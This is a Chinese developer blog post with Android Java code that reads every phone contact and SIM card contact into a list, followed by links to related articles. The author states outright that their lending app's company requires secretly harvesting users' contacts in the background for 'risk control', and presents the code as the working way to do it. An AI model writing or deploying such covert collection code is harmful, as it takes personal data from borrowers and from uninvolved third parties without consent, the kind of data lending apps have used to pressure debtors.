最近公司做的一个放贷APP,要求后台偷偷获取用户的联系人来做风控,所以。。。(大家忽略就好)

  1. 获取手机联系人很简单,就是查询android的数据库,用到的是ContentProvider进行跨进程通讯。我就直接上代码了
    • public List<ContactsResultBean.ContactsBean> getContactInfo() throws JSONException {
      list = new ArrayList<>();
      contactData = new JSONObject();
      //联系人的Uri,也就是content://com.android.contacts/contacts
      Uri uri = ContactsContract.Contacts.CONTENT_URI;
      //指定获取_id和display_name两列数据,display_name即为姓名
      String[] projection = new String[]{
      ContactsContract.Contacts._ID,
      ContactsContract.Contacts.DISPLAY_NAME
      };
      //根据Uri查询相应的ContentProvider,cursor为获取到的数据集
      Cursor cursor = context.getContentResolver().
      query(uri, projection, null, null, null); int i = 0;
      if (cursor != null && cursor.moveToFirst()) {
      do {
      Long id = cursor.getLong(0);
      //获取姓名
      String name = cursor.getString(1);
      //指定获取NUMBER这一列数据
      String[] phoneProjection = new String[]{
      ContactsContract.CommonDataKinds.Phone.NUMBER
      }; //根据联系人的ID获取此人的电话号码
      Cursor phonesCusor = context.getContentResolver().query(
      ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
      phoneProjection,
      ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + id,
      null,
      null); //因为每个联系人可能有多个电话号码,所以需要遍历
      if (phonesCusor != null && phonesCusor.moveToFirst()) {
      do {
      String num = phonesCusor.getString(0); contactsBean = new ContactsResultBean.ContactsBean();
      contactsBean.setName(name);
      contactsBean.setPhone(num);
      contactsBean.setNote(""); list.add(contactsBean);
      jsonObject = new JSONObject();
      contactData.put("contact" + i, jsonObject); } while (phonesCusor.moveToNext());
      }
      i++;
      } while (cursor.moveToNext());
      } // 获取sim卡的联系人--1
      try {
      getSimContact("content://icc/adn", list); getSimContact("content://icc/adn/subId/#", list); getSimContact("content://icc/sdn", list); getSimContact("content://icc/sdn/subId/#", list); getSimContact("content://icc/fdn", list); getSimContact("content://icc/fdn/subId/#", list); } catch (Exception e) {
      Log.d("提现啦:", e.getLocalizedMessage());
      }
      return list;
      }

  2、查询Sim上的联系其实也很简单,也是扫描android数据库里面存的值,也是通过ContentProvider,但是因为涉及到有的手机可能是双卡双待,还有移动、电信、联通这三种手机卡,所以可能就有问题了。

    这里我知道android framework本身提供了一个这样的provider(IccProvider.java),所以我们就按照google的来吧。使用ContentProvider最重要的就是路由要准确,所以我们先来看看IccProvider里面给我提供的路由。

    • 先来看看IccProvider给我们提供的路由。

    同样也是返回给我们游标,我们自己从游标里面取值。

    下面是游标取值的代码

    

    private void getSimContact(String adn, List<ContactsResultBean.ContactsBean> list) {
// 读取SIM卡手机号,有三种可能:content://icc/adn || content://icc/sdn || content://icc/fdn
// 具体查看类 IccProvider.java
Cursor cursor = null;
try {
Uri uri = Uri.parse(adn);
LogUtils.e(uri.toString());
cursor = context.getContentResolver().query(uri, null,
null, null, null);
if (cursor != null) {
while (cursor.moveToNext()) {
// 取得联系人名字
int nameIndex = cursor.getColumnIndex("name");
// 取得电话号码
int numberIndex = cursor.getColumnIndex("number");
String number = cursor.getString(numberIndex);// 手机号
LogUtils.d("手机号:" + number);
if (isUserNumber(number)) {// 是否是手机号码
ContactsResultBean.ContactsBean simCardTemp = new ContactsResultBean.ContactsBean();
simCardTemp.setPhone(formatMobileNumber(number));
simCardTemp.setName(cursor.getString(nameIndex));
if (!list.contains(simCardTemp)) {
list.add(simCardTemp);
}
}
}
cursor.close();
}
} catch (Exception e) {
LogUtils.e(e);
if (cursor != null) {
cursor.close();
}
}
}

经过测试时可以去到sim卡上的联系人的

Android--获取手机联系人和Sim卡联系人的更多相关文章

  1. android获取通讯记录,sim卡和手机

    //获取手机和手机卡通讯录 public static String getContacts() { String szContacts = ""; szContacts=getP ...

  2. Android 获取手机信息,设置权限,申请权限,查询联系人,获取手机定位信息

    Android 获取手机信息,设置权限,申请权限,查询联系人,获取手机定位信息 本文目录: 获取手机信息 设置权限 申请权限 查询联系人 获取手机定位信息 调用高德地图,设置显示2个坐标点的位置,以及 ...

  3. Android学习笔记-获取手机内存,SD卡存储空间。

    前面介绍到如何保存数据到手机内存或者SD卡,但是问题是,在保存以前,我们还需要对他们的空间(可用空间),进行判断,才可以进行后续操作,所以,本节我们就介绍如何获取手机内存以及Sd卡的空间. //这时获 ...

  4. sim卡联系人name为空的问题。

    1,之前的版本出现Bug:新建name为空的sim卡联系人,无法删除. 解决: 2,而后的版本出现新Bug:新建name不为空,Num不为空的sim卡联系人,然后编辑sim卡联系人,将Name清空,无 ...

  5. 双卡手机怎么指定SIM卡打电话

    双卡手机如何指定SIM卡打电话 package com.example.dualsimtest; import android.app.Activity; import android.content ...

  6. 判断是否为SIM卡联系人

    判断是否为SIM卡联系人 在AsyncQueryContacts类中. private List<TxrjAccount> accounts = new ArrayList<Txrj ...

  7. android API版本对应的系统版本及Android获取手机和系统版本等信息的代码

    学了这么久的Android,竟然一直对其API对应的名称关系一值搞不清楚,现在网上认真看了下资料,转载一个觉得写得不错的作者的文章,记下来: [背景] 之前折腾android期间,慢慢地知道了,And ...

  8. Android 获取手机的厂商、型号、Android系统版本号等工具类(转载)

    Android 获取手机的厂商.型号.Android系统版本号等工具类 1.获取手机制造厂商 2.获取手机型号 3.获取手机系统当前使用的语言 4.获取Android系统版本号 5.获取手机IMEI串 ...

  9. 017 Android 获取手机SIM卡序列号和读取联系人

    1.获取手机SIM卡序列号 //5.存储sim卡系列号 //5.1获取sim卡系列号 TelephonyManager manager = (TelephonyManager) getSystemSe ...

随机推荐

  1. 剑指offer【04】- 重建二叉树(java)

    题目:重建二叉树 考点:树 题目描述:输入某二叉树的前序遍历和中序遍历的结果,请重建出该二叉树.假设输入的前序遍历和中序遍历的结果中都不含重复的数字.例如输入前序遍历序列{1,2,4,7,3,5,6, ...

  2. linux的tar命令

    Linux下的tar压缩解压缩命令详解 tar -c: 建立压缩档案 -x:解压 -t:查看内容 -r:向压缩归档文件末尾追加文件 -u:更新原压缩包中的文件 这五个是独立的命令,压缩解压都要用到其中 ...

  3. MySQL数据库事务详解

    微信公众号[程序员江湖] 作者黄小斜,斜杠青年,某985硕士,阿里 Java 研发工程师,于 2018 年秋招拿到 BAT 头条.网易.滴滴等 8 个大厂 offer,目前致力于分享这几年的学习经验. ...

  4. Web中的积累:外观模式 Facade

    摘要: 原创出处: http://www.cnblogs.com/Alandre/ 泥沙砖瓦浆木匠 希望转载,保留摘要,谢谢! 壹 前言 目测好久没写文章了,距离上一篇文章也有二十多天.我是怎么了?哈 ...

  5. 浅入浅出Typescript Decorators

    临时起的兴趣,想写一篇关于ts decorator的文章,就花小半天整理了一下...  这东西,在ES2017里好像也有... 文档的话看这里. 因为临时,就没想写太多文字介绍,带少许文字说明直接开撸 ...

  6. 【HDFS API编程】第一个应用程序的开发-创建文件夹

    /** * 使用Java API操作HDFS文件系统 * 关键点: * 1)创建 Configuration * 2)获取 FileSystem * 3)...剩下的就是 HDFS API的操作了*/ ...

  7. MongoDB副本集(一主两从)读写分离、故障转移功能环境部署记录

    Mongodb是一种非关系数据库(NoSQL),非关系型数据库的产生就是为了解决大数据量.高扩展性.高性能.灵活数据模型.高可用性.MongoDB官方已经不建议使用主从模式了,替代方案是采用副本集的模 ...

  8. 1.Magicodes.NET框架之路——起航

    1.Magicodes.NET框架之路--起航 前言 从事开发也好几年了,并且最近一直在做架构搭建的工作.这些时间,最大的感悟就是: 只有自己理解了的才是自己的. 对架构这块,若欲立之,必先破之. 故 ...

  9. 用主题模型可视化分析911新闻(Python版)

    本文由 伯乐在线 - 东狗 翻译,toolate 校稿.未经许可,禁止转载!英文出处:blog.dominodatalab.com.欢迎加入翻译小组. 本文介绍一个将911袭击及后续影响相关新闻文章的 ...

  10. Dijkstra——单源最短路径

    算法思想 ①从一个源点开始,找距离它最近的点顶点v ②然后以顶点v为起点,去找v能到达的顶点w,即v的邻居 比较源点直接到 v的距离和(源点到v的距离+v到w的距离) 若大于后者则更新源点的到w的开销 ...